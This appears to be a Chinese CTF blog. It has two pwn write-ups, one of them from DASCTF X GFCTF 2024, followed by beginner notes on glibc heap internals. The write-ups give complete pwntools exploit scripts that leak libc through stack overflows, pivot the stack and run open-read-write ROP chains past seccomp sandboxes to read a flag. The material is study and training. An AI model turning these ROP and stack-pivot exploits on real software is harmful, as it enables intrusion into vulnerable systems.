这个沙箱保护有一个很扯的地方在于对于execve函数他并没有禁止,而是禁止了exit_group这个函数,所以好像理论上来说好像可以通过执行system(/bin/sh)拿到shell,但是我在之后发现并不能这样,他在执行system函数时会出现一些问题, 还是无法解决的那种,所以这道题还是得用orw的方法解决。

现在再看main函数中的另外一个函数内容

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t func()
{
char buf[320]; // [rsp+0h] [rbp-140h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("please enter your content:");
read(0, buf, 0x150uLL);
printf("%s", buf);
puts("please enter your content again:");
return read(0, buf, 0x150uLL);
}

很明显了,这连续两个的栈溢出虽然溢出的比较小,但也足够进行栈迁移了,并且第一个地方还会把输入的都打印出来,在结合溢出便可以将ebp的值暴露出来,从而得到栈上的地址,然后在第二个栈溢出这里将执行权通过栈迁移将其迁移到栈上。

现在开始详细分析,

在第一个输入数据的那里可以进行一定的栈溢出,但程度很少,只够栈迁移的量,并且在之后的地方程序会把这里输入的都打印出来,虽然这个打印的没有格式化字符串漏洞,但是依然有一个漏洞。

这里用 printf("%s", buf);将输入到buf的数据打印出来。但这又个问题在于其对于结束打印的鉴定在于是否遇到\x00这个数据,如果遇到这个变会结束打印,反之如果不能遇到这个变会一直打印下去,知道遇到这个数据,于是我我们便可以直接向程序中注入0x140的长度的数据使其直接覆盖到ebq的位置,由于其在ebp的位置之前全部都被覆盖为垃圾数据,程序变回一直打连ebp所指的数据一同暴露,

image-20240427110159088

在这里可以看到ebp所指的值也是一个栈上的地址,在找到程序输入的地址rsp所指的地方。

image-20240427110628309

便可以找到这两个数据的距离差为多少,0x7fffffffde60-0x7fffffffdd10=0x150

这样便可以知道栈的地址,在第二个输入的地方将程序执行权挟持到输入的数据的最开始执行我们输入的命令,

现在变可以在第二个输入的地方用puts函数将puts函数的got表的地址打印出来,然后使用read函数将orw的命令输入的一个bss段上的空地址,之后再将程序通过后栈迁移,迁移到存放orw的bss段地址上,执行orw将flag输出到屏幕上。这个是我对这道题的解法,有些麻烦,并且有的地方要整好多寄存器才行,就想在打开read函数时要将rdi的值代为0才能将我们输入的数据输入到bss段中(就这一个寄存器我调了2天才发现这个问题)。

后来因为我一开始并没有将这个题的链接库改到2.23的版本所以在自己做的时候,一直没打通问了学长,学长自己写了一个与我这种思路并不同的payload,之后将重点将那个payload,这里也将我自己的这种放上去,简单分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

io=process('./bs')
#io = remote("competition.blue-whale.me",20082)

context.log_level = 'debug'
#gdb.attach(io,'b *0x400B0B')
#pause()

leave=0x400B09
pop_rdi_ret=0x400b93
read_plt=0x400830
puts_plt=0x4007E0
puts_got=0x601028
read_got=0x601050

buf=0x601680//这里是bss段上的空地址
ret=0x400799
pop_rsi_pop_r15_ret=0x400b91
pop_rbp_ret=0x4008d0
pop_rbx_rbp_r12_r13_r14_r15_ret=0x400B8A
csu_init=0x400B70//这个和上面一个都是__libc_csu_init中的全能寄存器修改器


io.sendafter('content:\n',b'A'*0x13f+b'B')

io.recvuntil('B')
ebp=u64(io.recv(6).ljust(8,b'\x00'))
print ('ebp: ',hex(ebp))

rsp=ebp-0x150//rsp的值便是栈上数据的注入地址
print ('rsp: ',hex(rsp))
tiao=ebp-0xb0//在之后改read函数的寄存器是使用的那个init的跳转地址
print ('tiao: ',hex(tiao))

payload=b'A'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(ret)+p64(puts_plt)
//打印libc地址
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(tiao)
payload+=p64(0xc0)+p64(buf)+p64(0)+p64(csu_init)+b'A'*0x38
payload+=p64(ret)+p64(pop_rbp_ret)+p64(1)+p64(read_plt)
//将rdi的值设为0,rsi设为bss段的空地址,rdx设为要读取的数据,rbp设为0,然后调用read函数
payload+=p64(pop_rbp_ret)+p64(buf)+p64(leave)
//现将要跳转的地址赋给rbp然后调用leave便可以使程序跳转到那个地址
payload=payload.ljust(0x140,b'A')
payload+=p64(rsp)+p64(leave)
//将ebp覆盖为输入的地址,然后leave调到那

time.sleep(2)
io.sendafter('again:\n',payload)

puts=u64(io.recv(6).ljust(8,b'\x00'))
print ('puts: ',hex(puts))
time.sleep(2)


elo=ELF('libc-2.23.so')
open_libc=elo.symbols['open']


puts_libc=elo.symbols['puts']

print ('puts_libc: ',hex(puts_libc))
sys_libc=elo.symbols['system']
bs = next(elo.search(bytes('/bin/sh', 'utf-8')))

base_libc=puts-puts_libc
print ('base_libc: ',hex(base_libc))
system=sys_libc+base_libc
binsh=bs+base_libc
open=open_libc+base_libc
print ('system: ',hex(system))
print ('binsh: ',hex(binsh))
#io.recv()
time.sleep(2)
buf_flag=0x601780//在orw中放flag的空地址

pop_rsi_pop_r15_ret=0x400b91
pop_rdx_pop_r12_ret_libc=0x11f2e7
pop_rdx_pop_r12_ret=pop_rdx_pop_r12_ret_libc+base_libc


pop_rdx_ret_libc=0x1b92
pop_rdx_ret=pop_rdx_ret_libc+base_libc

#payload=b'A'*8+p64(pop_rdi_ret)+p64(binsh)+p64(system)

payload=b'./flag\x00\x00'+p64(pop_rsi_pop_r15_ret)+p64(0)+p64(0)
payload+=p64(pop_rdx_ret)+p64(0)
payload+=p64(pop_rdi_ret)+p64(buf)+p64(pop_rbp_ret)+p64(1)+p64(open)


payload+=p64(pop_rdi_ret)+p64(3)
payload+=p64(pop_rdx_ret)+p64(0x30)
payload+=p64(pop_rsi_pop_r15_ret)+p64(buf_flag)+p64(0)
payload+=p64(pop_rbp_ret)+p64(1)+p64(read_plt)

payload+=p64(pop_rdi_ret)+p64(buf_flag)+p64(puts_plt)


io.send(payload)

io.interactive()

以上这个便是我自己的payload,很明显有多有乱,虽然能打通但在真实的比赛中这个太多了,整完这题后面的就没什么时间了。所以必须要简化,现在来看看学长的payload

image-20240427114528647

那现在来看看学长写的这个payload,先讲我对这个的理解。

在第一个溢出中我们可以通过溢出将ebp的值覆盖,然后还可以再溢出8个字节的位置,对于这剩下的一个位置我们可以选择像之前我的那个一样进行栈迁移,还一种便是回到程序中的某一个位置之后从这个位置执行下去,在这里学长选择得便是第二种,

那既然能改ebp的值那现在便要找一个可以用这个的地方,回到汇编语句中来看

image-20240427144335842

仔细看在printf函数调用之前对于寄存器的管理,

1
2
3
4
5
lea     rax, [rbp+buf]
mov rsi, rax
mov edi, offset format ; "%s"
mov eax, 0
call _printf
  1. 先将rbp的值加上buf,这里buf就是指buf这个变量的大小(-0x140),然后将rbp+(-0x140)的值赋给rax寄存器

  2. 将rax的值赋给rsi寄存器

  3. 将”%s”赋给edi,再将eax的值清零,

  4. 最后调用printf函数,

    image-20240427153721575

    (关于这里为什么会是-0x140,我是不是很清楚,但点进buf显示的便是如此,同时在gdb中查看这一段地址也是如此,-0x140)

    image-20240427153822619

详细来说就是在printf函数调用之前将edi赋值为%s,将rsi赋值为rbp-0x140的值,然后通过printf函数将rsi所指的rbp-0x140的地址的值打印出来,而我们在之前的时候可以通过栈溢出将ebp(ebp与rbp是同一个寄存器,不过ebp是rbp的后面一半的位,不过大多时候用不到不同的位置,故可以混用)的值覆盖,那这里我们便可以通过栈溢出将ebp的指覆盖为某个函数的got表的地址+0x140,然后再后面输入上面这个代码的地址,执行这段地址便可以将这个函数的got表的地址打印出来,然后便可以知道程序的libc基地址。

1
2
3
4
5
6
7
8
9
10
11
ayload = b"A"*0x140 + p64(got +0x140) + p64(0x400ACC)


io.sendafter("please enter your content:",payload)

io.sendafter("please enter your content again:",b"AAA")//第二个栈溢出随便输入几个数据过去就行

io.recvuntil(b"\n")
libcbase = u64(io.recv(6).ljust(8,b"\x00"))
libcbase=libcbase-libc.sym["__libc_start_main"]
print("libcbse=================================================+>",hex(libcbase))

那这样程序的执行便回到printf函数这里,并且在之后还有一次栈溢出的机会,

有一个很重要的事,自从我们将ebp的值覆盖为got+0x140的值后,一直执行的命令中并没有改变ebp的值的命令,故在后面包括read函数执行的时候对ebp的调用依然是不变的

继续往后面执行执行到read的时候看看

{F322C214-C938-49FC-BE01-68C41DDF310D}

由于ebp在前期的执行中并没有被改变,故执行到这里时依然是got+0x140的值,然后根据调用read函数前的命令,在执行read时rsi寄存器的值被改变为got的值,故这里的read函数读入的数据并不存放在栈上,而是存放在got的地址及其之后,并且ebp所指向的值为got+0x140。

然后便可以将orw通过read函数直接注入到got的地址上,然后注入的剩下垃圾数据到0x140,在将ebp指向的数据覆盖成got-8的地址,然后调用leave,指程序栈迁移到存放orw的地址,然后执行就可以拿到flag

全部的paylaod如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
io = process("./bs")
elf = ELF("./bs")
libc = ELF("libc-2.23.so")
context.log_level = "debug"

put_plt = 0x4007E0
rdi = 0x400b93
got = 0x601058

bss = elf.bss() - 0x8 + 0x30
print('elf.bss(): ',hex(elf.bss()))
print("============================>",hex(bss))
payload = b"A"*0x140 + p64(got +0x140) + p64(0x400ACC)

gdb.attach(io,"b *0x400B09")
pause()

io.sendafter("please enter your content:",payload)

io.sendafter("please enter your content again:",b"AAA")

io.recvuntil(b"\n")
libcbase = u64(io.recv(6).ljust(8,b"\x00"))
libcbase=libcbase-libc.sym["__libc_start_main"]
print("libcbse=================================================+>",hex(libcbase))

open_addr = libcbase + libc.sym["open"]
print('open_addr: ',hex(open_addr))
read_addr = 0x400830
printf = 0x400810
leave = 0x400B09
rdx = 0x1b92 + libcbase
rsi = libcbase + 0x00000000000202f8

payload = p64(rdi) + p64(got + 0x78 + 0x10) + p64(rsi) + p64(0x0)
payload+=p64(rdx) + p64(0x0) + p64(open_addr)

payload += p64(rdi) + p64(0x3) + p64(rsi) + p64(bss + 0x200) + p64(rdx) + p64(0x30) + p64(read_addr) + p64(rdi) + p64(bss+0x200)

payload += p64(put_plt) + b"flag\x00"
payload = payload.ljust(0x140,b"A")
payload += p64(got - 0x8) + p64(leave)
io.sendafter("please enter your content again:",payload)


io.interactive()

这样便是完整的payload,很明显学长的这个比我的要少了很多,而这个的关键就在与对ebp的使用,从一开始溢出将其覆盖之后,后面便一直在利用这个被覆盖的ebp完成libc的暴露与orw的迁移。

DASCTF X GFCTF 2024|四月开启第一局

周6打了一个比赛是buuctf上面上的一个比赛,叫“DASCTF X GFCTF 2024|四月开启第一局”,只持续了一天,不算难,算一个娱乐赛吧,一共有3个pwn题都是栈的题没有堆的题目,漏洞都比较明显,不过每一道题都有有坑的地方,比较考积累。最近一直在搞堆的知识,做题有一点生疏了,以后还是要找一点时间练练题,至少不能让手有生疏。

写这篇文章的时候已经是第二天的晚上了,3道题才做出来1道,也是今天下午才出来的,确实有一点慢了,这周看看能不能把剩下的那两道题也做出来,把wp写了。今天先把做出来的这道题遇到的坑和wp写一写。

第一题:pwn

老规矩,先checksec一下程序,还好保护基本没开,可以少考虑一点,那就进ida里找漏洞。

image-20240421205639232

在ida中的main函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 i; // [rsp+28h] [rbp-8h]

memset(buf, 0, sizeof(buf));
v5 = read(0, buf, 0x100uLL);
for ( i = 0LL; i < v5; ++i )
{
if ( *((_BYTE *)buf + i) == 0xF0
|| *((_BYTE *)buf + i) == 0xE0
|| *((_BYTE *)buf + i) == 0x80
|| *((_BYTE *)buf + i) == 80
|| *((_BYTE *)buf + i) == 0xB0 )
{
puts("You must want to execute ");
puts("open read write puts openat readv writev ");
puts("\x1B[31;3;1myou are not allowed to execute!\x1B[0m");
exit(0);
}
}
return 0;
}

漏洞以经很明显了,用read函数向buf中可以输入长度为0x100的数据但buf到rbp的距离为0x30,明显的栈溢出。再看看其他函数有没有问题,

在init函数中发现一个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void init(void)
{
__int64 v0; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
v0 = seccomp_init(2147418112LL);
seccomp_rule_add(v0, 0LL, 59LL, 0LL);
seccomp_rule_add(v0, 0LL, 322LL, 0LL);
seccomp_rule_add(v0, 0LL, 9LL, 0LL);
seccomp_rule_add(v0, 0LL, 10LL, 0LL);
seccomp_rule_add(v0, 0LL, 41LL, 0LL);
seccomp_rule_add(v0, 0LL, 56LL, 0LL);
seccomp_rule_add(v0, 0LL, 101LL, 0LL);
seccomp_load(v0);
}

很明显在这个程序中已经开启了沙箱保护,可以看看用沙箱禁了哪些函数

image-20240421210942757

看看哪些函数的后面为0013,那些函数便是被禁的函数。被禁的函数还有点多,不过我们主要看有俩个函数

execvemprotect函数,前者代表不能直接获得shell只能使用orw的方法,第二个函数则代表在这里不能通过提升权限的方法来直接用shellcode,只能orw一个一个函数的调用了,

那么大致思路便基本出来了,通过栈溢出执行orw将flag打印在屏幕上,那先在看看都有哪些限制和差些什么。

回到main函数,在输入数据后会有一个循环将输入的数据都遍历一遍,如果检测到有与0xf0,0xe0,0x80,80,0xb0相同的数据便会停止程序,输出一段字。因此在输入的时候要注意避开这几个数,在我做的这里变有一个需要注意的点,可能在有的libc版本中数据不用再意这点,不过远程已经没了,我只是在自己的本地,照本地的libc版本来的,各位看官在自己的本地上打记得要更据自己的libc版本做相应的改变。

由于使用orw的方法需要大量的pop指令,便来看看程序自带的pop指令,

image-20240421213603601

太少了明显不够用,那必须要用的libc中的pop指令,便要知道这个程序中的libc_base(libc的基地址)是多少,将程序中的函数的got地址暴露出来,刚好在程序中有puts函数,那便用puts函数将程序中的puts函数的got地址暴露出来,然后由于在程序中没有再次输入的地方,便要再次回到main函数再次执行。

1
2
3
4
5
6
7
8
9
10
11
12
main=0x401386//返回地址,为了继续执行
puts_plt=0x4010D4
puts_got=0x404028
pop_rdi_ret=0x401381
#gdb.attach(io,'b *0x401482')
#pause()

payload=flat(b'A'*0x38,p64(pop_rdi_ret),p64(puts_got),p64(puts_plt),p64(main))
io.sendline(payload)

puts_libc=u64(io.recv(6).ljust(8,b'\x00'))
print('puts_libc:',hex(puts_libc))

在执行完这段命令后便可以知道puts_got的地址,然后根据自身的libc版本中的puts函数的偏移地址,便可以知道libc_base的地址,在根据libc中的其他函数和pop指令的偏移地址,便可以知道所需的函数与pop指令的地址,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#elo=ELF('libc6_2.35-0ubuntu3.4_amd64.so')
elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
puts=elo.symbols['puts']
print('puts:',hex(puts))
base_libc=puts_libc-puts
print('base_libc:',hex(base_libc))

open_libc=elo.symbols['open']
read_libc=elo.symbols['read']

open=open_libc+base_libc-1
//这里也是一个坑,在我的版本中如果直接使用open的地址会有与之前那个相同的数字,程序不能被执行,这里我试过
//+1发现没用,+1后程序会直接不执行open,但-1虽然一开始不直接执行但在之后还是会执行完整个open函数
read0=read_libc+base_libc
print('open:',hex(open))
print('read0:',hex(read0))

buf_flag=0x404090//bss段中的空地址,在之后用来存放'./flag\x00\x00'
read_plt=0x401100

buf=0x404100//bss段中的空地址,在之后用来存放读取到的flag
pop_rbp_ret=0x4011ed
pop_rsi_ret_libc=0x2be51
pop_rsi_ret=pop_rsi_ret_libc+base_libc

pop_rbp_r12_ret_libc=0x35730//一开始忘了程序中有rbp的命令,在后面就没用了
pop_rbp_r12_ret=pop_rbp_r12_ret_libc+base_libc

pop_rdx_r12_ret_libc=0x904a9
//一开始想只用rdx的,发现在我的这里用rdx的会触发之前的那个检测干脆换一个,将r12命令为0就行
pop_rdx_r12_ret=pop_rdx_r12_ret_libc+base_libc

那现在已知的便是orw所必须open函数,read函数,puts函数的地址,已及需要调用的寄存器的值,那么现在还差的便是./flag的地址,用于在open函数将flag打开。在程序中寻找,并没有找到有着段字符串,那么就要我们自己将./flag通过调用read函数的方法注入到一个空的bss段地址中。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
payload=flat(b'A'*0x38,p64(pop_rsi_ret),p64(buf_flag))
payload+=flat(p64(pop_rbp_ret),p64(1),p64(pop_rdx_r12_ret),p64(8),p64(0))
payload+=flat(p64(read_plt),p64(main))
payload=payload.ljust(0x100,b'\00')


#payload=flat(b'A'*0x38,p64(pop_rdi_ret),p64(buf_flag),p64(read0))

io.send(payload)



io.send(b'./flag\x00\x00')//将存放地址的数据充填满8个字节,使用\x00\x00

在这里有一个必须要注意的一点,我之前在直接输用数据栈溢出时,输入的数据并没有到达程序输入的最大值0x100,而是到我需要的就停止了。这里理论上并没有什么问题,但是在实操时会发现,程序会将后面才输入数据一同在这里录进去,直到满足0x100的长度。这样对我们后面的操作是绝对不行的,我上网查了一下,解决的方法有两种,一种是加上一个间断的时间函数使程序在输入该输入的数据就停下了,不将后面的数据录进去(很明显我不会),第二种,便是我使用的方法,直接注入程序能注入的最大值,将出了有效的数据其他都充填为垃圾数据。然后在输入后面的数据便不会出现程序在这里就将后面的数据一同录进去的事

到达这里那基本条件已经算完成了,可以开始orw的使用了,有关其基本操作这里不在细讲我之前的文章中有,可以去看看Wgiegie-pwn基操 | 纲的blog (2023478.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
payload=flat(b'A'*0x38,p64(pop_rdi_ret),p64(buf_flag),p64(pop_rsi_ret),p64(0))
payload+=flat(p64(pop_rbp_ret),p64(1),p64(open))

payload+=flat(p64(pop_rdi_ret),p64(3),p64(pop_rsi_ret),p64(buf))
payload+=flat(p64(pop_rdx_r12_ret),p64(0x30),p64(0))
payload+=flat(p64(pop_rbp_ret),p64(1),p64(read_plt))

payload+=flat(p64(pop_rdi_ret),p64(buf),p64(puts_plt))


io.send(payload)

io.interactive()

image-20240422200011820

当然这个flag是我本地自己整的,比赛经没了,所以这里的我只能打本地。我总感觉如果打远程肯定还是会遇到问题,不过远程已经没了,就只能这样吧,以后遇到再说。

在这里我打时也遇到过一些问题,就比如之前关于open函数地址的语句中因为我直接使用这个函数地址时,又会被这前那个检测的数据,故我将其-1处理,这样也能执行到open函数,我之前还试过+1,这个不知道为什么不能用,希望有大佬能为我解答。

总exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
io=process('./pwn')
#io = remote("node5.buuoj.cn",27743)

context.log_level = 'debug'


main=0x401386
puts_plt=0x4010D4
puts_got=0x404028
pop_rdi_ret=0x401381
#gdb.attach(io,'b *0x401482')
#pause()

payload=flat(b'A'*0x38,p64(pop_rdi_ret),p64(puts_got),p64(puts_plt),p64(main))
io.sendline(payload)

puts_libc=u64(io.recv(6).ljust(8,b'\x00'))
print('puts_libc:',hex(puts_libc))

#elo=ELF('libc6_2.35-0ubuntu3.4_amd64.so')
elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
puts=elo.symbols['puts']
print('puts:',hex(puts))
base_libc=puts_libc-puts
print('base_libc:',hex(base_libc))

open_libc=elo.symbols['open']
read_libc=elo.symbols['read']

open=open_libc+base_libc-1
read0=read_libc+base_libc
print('open:',hex(open))
print('read0:',hex(read0))

buf_flag=0x404090
read_plt=0x401100

buf=0x404100
pop_rbp_ret=0x4011ed
pop_rsi_ret_libc=0x2be51
pop_rsi_ret=pop_rsi_ret_libc+base_libc

pop_rbp_r12_ret_libc=0x35730
pop_rbp_r12_ret=pop_rbp_r12_ret_libc+base_libc

pop_rdx_r12_ret_libc=0x904a9
pop_rdx_r12_ret=pop_rdx_r12_ret_libc+base_libc


payload=flat(b'A'*0x38,p64(pop_rsi_ret),p64(buf_flag))
payload+=flat(p64(pop_rbp_ret),p64(1),p64(pop_rdx_r12_ret),p64(8),p64(0))
payload+=flat(p64(read_plt),p64(main))
payload=payload.ljust(0x100,b'\00')


#payload=flat(b'A'*0x38,p64(pop_rdi_ret),p64(buf_flag),p64(read0))

io.send(payload)



io.send(b'./flag\x00\x00')


payload=flat(b'A'*0x38,p64(pop_rdi_ret),p64(buf_flag),p64(pop_rsi_ret),p64(0))
payload+=flat(p64(pop_rbp_ret),p64(1),p64(open))

payload+=flat(p64(pop_rdi_ret),p64(3),p64(pop_rsi_ret),p64(buf))
payload+=flat(p64(pop_rdx_r12_ret),p64(0x30),p64(0))
payload+=flat(p64(pop_rbp_ret),p64(1),p64(read_plt))

payload+=flat(p64(pop_rdi_ret),p64(buf),p64(puts_plt))


io.send(payload)

io.interactive()

逆天官方,在qq群里说不发官方wp,还以为真的不发,结果又发出来了,放个链接吧

https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/nfeexx903ltettux

堆(随便写一写,当笔记用)

开始学习堆的知识,便整这个博客当笔记用用,将平时视频里看到的东西记录一下。

arena

内存分配区,可以理解为堆管理器所持有的内存池

操作系统 –> 堆管理器 –> 用户

物理内存 –> arena –> 可用内存

堆管理器与用户的内存交易发生于arena中,可以理解为堆管理器向操作系统批发来的有冗余的内存库存

相当于使用操作系统有的是物理内存,堆管理器只在操作系统与用户之间,用来使用户利用堆的一个东西,

在用户使用堆管理器开始利用堆时,堆管理器便会将物理内存中的可用片段放入arena中,在收到堆管理器的所需大小,便将其中的物理内存转换为可用内存供用户使用。arena中的内存的大小是大于用户所需要的内存的。

如果在C语言中使用malloc这个函数如:

1
void* ptr = malloc(0x100)

当执行完这行代码后堆管理器便会在arena中找到一块大小为0x100的区域作为分配给用户的堆的区域

同时我们所获得这个ptr是个指针,指向是通过malloc()后得到的一块内存区域chunk的中间。

每次 malloc 申请得到的内存指针,其实指向 user data 的起始处

chunk

用户申请内存的单位,也是堆管理器管理内存的基本单位

malloc()返回的指针指向一个chunk的数据区域

image-20240409213854456

chunk相当于一段内存区域的状态,在不同的时候有不同的chunk,如下

image-20240409215156595

像在C语言中执行

1
void* ptr = malloc(0x100)

完这行代码后对于malloc分配的0x100便是chunk,而此时的chunk状态便是malloc chunk,而再执行

1
free(ptr)

将这段内存释放,那这段内存区域也就是chunk便会成为 free chunk的状态。这段内存区域并不会消失

相当于用户在通过堆管理器获得一段内存空间作为堆,在使用完成之后,用free将其释放。

这段内存区域,在malloc之后从原本的物理内存变为malloc chunk,以供使用,在free后并不会直接还原为物理内存,而是继续存放在堆管理器中以便下次使用,为了方便的存放,这段内存区域便会变为free chunk的状态存放在堆管理器中。(也是为了节约时间,内存还为物理内存需要进行系统调用)

先来看看malloc chunk的结构

分为3个部分,prev siz,size和剩下的存放数据的地段

image-20240410203227873

在理论上size的最后3个位置应该都是,并且是固定的0,无论这个chunk怎么变,都应该是0,于是这3个位置便被利用起来,用分别存放AMP。

在看看free chunk的结构

对于free chunk他就是之前那个malloc chunk在通过free函数后将其释放后的堆管理器,其构造与malloc chunk的差别在于在size与数据段中间多了fd和bk这部分。其他的相同(free chunk有很多种,这只是其中一种)

先来看看在chunk中共有的P位置所存放的数据及其含义。

这里的p存放的是用来检测这一个chunk的上一个chunk的含义,所返回的数据。

如果检测到这个chunk的上一个是一个malloc chunk和其他的数据,变回返回一个1,存放在这个位置,

如果检测到这个chunk的上一个是一个free chunk的话变回返回一格0,存放在这位置

而当这个p的值为0,便可以知道当前这个chunk以及上面的chunk都是free chunk,此时这两个chunk变回合并为同一个free chunk,将下面的chunk从管理器中去除,整体变为上一个chunk的数据段,上一个chunk中的size则扩大到上下两个chunk合并后的整个chunk的大小。

image-20240410212049191

free chunk出了这种结构之外还有两种另外的结构

image-20240410214307841

chunk在代码段的实现

image-20240416163709790

理论上来说所有的chunk的出现都需要这几行代码的经过产生相应的区域,但由于程序为了节约时间对于不同的时间与不同状态的chunk其结构并不相同,并不是全部都包含由这些结构。不同的chunk有不同的结构,在上文中有所显示。

在chunk中,其存储数据的方式和栈的存储方式相反,堆的存储方式为由高地址向低地址不断存储的图,但在堆的chunk中,其结构最上方prev size为最低的地址然后依次向下增大,输入的数据在数据段中从低到高不断增大的地址存放

在前文中得到的ptr指针所指向的便是控制字段size往下的数据段的开头,方便数据的直接存放。

在一个申请的有堆的程序中,在执行完malloc后的各各段的地址如下

image-20240416170351224

蓝色字体便是程序中的堆的所在地址和长度,其位置在data段的正上方,紧邻这data段中的的bss区(前提是其堆的大小不算太大)

在程序中如果我们申请了一块长度为0x100的堆,那当程序执行完malloc函数后我们所得到的chunk的大小并不就是0x100,一般是0x111,这多出来的0x11包括8字节的prev size和size这两个控制字段,已经一个在size的末尾的p(在上文中有介绍)。

因此指向堆的指针所指向的并不是chunk的开头,而是chunk中的数据段的开头

image-20240416211427476

prev size的复用

在chunk中的开头的第一个prev size的控制字节是用来存放这个chunk的上面一个free chunk的大小的,它有且只有这一个作用。在一个程序中如果一开始申请的是0x20的长度的堆,那程序中会分配相应大小的chunk用来使用,然后在使用完这个chunk后将其释放,这个chunk便回成为free chunk存放在堆管理器中,方便以后的使用。

在这之后如果我们在程序中再次申请一个堆,程序会先在已有的chunk中寻找有没有适合的free chunk,然后将这个free chunk变为能使用的chunk用于使用,如果此时我们向程序申请一个大小为0x28的长度的堆,似乎之前我们申请的那个堆长度不够不能再使用了。但实际上,在程序中所有的chunk是放在一起的,也正因此才回有prev size的使用。当程序发现现在我们需要的chunk的大小与之前那个已经有的chunk只差一个字段,刚好是prev size等一个控制字段的大小,然后当我们把之前申请的那个chunk从free chunk转化为malloc chunk后,后发现一个问题,此时下一个chunk的开头prev size没有用了,他的上面不是free chunk 然后他刚好在上一个chunk的数据段的下面,而此时的数据段刚好差这一个长度,因此程序会将他直接转化为上一个chunk的数据段,以满足其的使用。这边是prev size的复用。

简单来说便是,在程序中一开始申请了长度为x的堆,后来把他释放了,之后在申请一个长度为x到x+8的堆,程序会将之前申请的那个chunk再次使用,两次使用的chunk会是同一个chunk

物理链表

在chunk中第一个控制字段prev size用于存放上一个chunk的长度,再结合自身的位置便回,可以知道上一个chunk的初始位置,一个chunk知道上一个chunk的初始地址,构成物理链表

bin中的逻辑链表

管理 arena 中空闲 chunk 的结构,以数组的形式存在,数组元素为相应大小的 chunk 链表的链表头,存在于 arena 的 malloc_state 中

bin的结构是一个数组,有一个又一个的指针构成,每一个指针都指向一个相应大小的free chunk的初始位置,在被指向的free chunk中有一个fd控制字段,这个控制字段也存放的是一个指针,执向的是与这个chunk大小相同的的chunk初始位置。在bin作为最开始的指针指向相应大小的chunk,fd在指向相同大小的chunk,这个便是逻辑链表,如图(释放的顺序的从下往上释放,最下面的那个fd段为0的chunk为第一个释放的chunk)

这个bin的地址中的指向是刚刚释放的chunk,如最下面的chunk在释放后,bin的指向就这是他,等着后面的chunk在次被释放后bin的指向便会改变为新的释放的chunk。

image-20240418143002441

用指针的方式将相同大小的chunk连接起来,存放在bin中方便之后的寻找

在bin中还有一种双向链表,将相同的大小的的chunk互相链接起来,以便使用,其基本结构如下,通过两个bin指针与chunk中fd,bk的不断指向构成,其中在使用中,为依次使用,从靠近bin的顺序被依次调用。

image-20240411162059021

image-20240418151335033

LIFO指其中的chunk的调用和栈上的调用方式一样,先进先出。

管理的free chunk在64位的程序下位32位的程序的两倍的大小

image-20240418152210990

image-20240418152258402

堆的再分配机制

在程序中的有关与堆的分配机制中,在后期有关于新的堆的寻找的中会先去寻找在之前生成chunk得程度够不够当前的malloc所需的长度,只要在之前的malloc的有过长度长出当前需要的malloc的长度,并且之前的那个chunk已经被free了,那程序便会直接将之前的那个free chunk 在现在的malloc中将其转化为可有的chunk,如果之前的那个chunk的长度超过当前的chunk这需要的长度,程序依然会将这个free chunk转化为新的chunk,但是只会使用需要的长度,对于之前那个chunk里的多余的长度,则会在分配之后自动生成一个新的free chunk。prev size和size等控制字段会在其中自动填充形成一个新的free chunk。

**use after free **

使用一个低权限的指针,指向一块存放重要数据的地方,使得可以利用这个非法的指针,对所指向的重要数据进行修改。

在很多情况下我们会使用char* ptr = malloc(0x100)这个命令用于申请一个堆块,这样ptr便会返回一个指向chunk中数据区的指针,我们便可以通过这个指针向这个chunk的数据区中读入数据,当我们不在需要这个堆时,便可以使用free(ptr)这个命令将我们刚刚申请这个堆块释放掉,但是此时有一个必须要注意的一点是,虽然此时之前的chunk已经被free掉了,但是ptr这个指针并没有被释放,它以然指向的是之前的那个chunk的数据段,虽然由于此时的free chunk,并不能被利用,但在后面如果我们再次申请一个长度小于或等于之前的那个堆的长度时,更具堆的再分配机制,程序会将之前的那个chunk从free的状态转化为能正常使用的状态,那么由于在之前分配的堆的指针并没有被我们清零,那个指针执向着之前的那个chunk 的数据区,在这里将之前那个free chunk转化为能用的chunk,由于ptr指向的位置不变,依然是这个chunk的数据区,故在这里prt这个指针也同时执向了这个新的堆的数据区,并拥有对其读写的功能。在有的题目中我们可能没有操作新的这个指针的能力但我们可以通过操作之前那个没有被清理的指针对当下这个对于这个指针进行修改。

双重释放漏洞

对同一个堆块进行两次释放,导致在再申请时,两个不同的指针指向了同一个堆块。

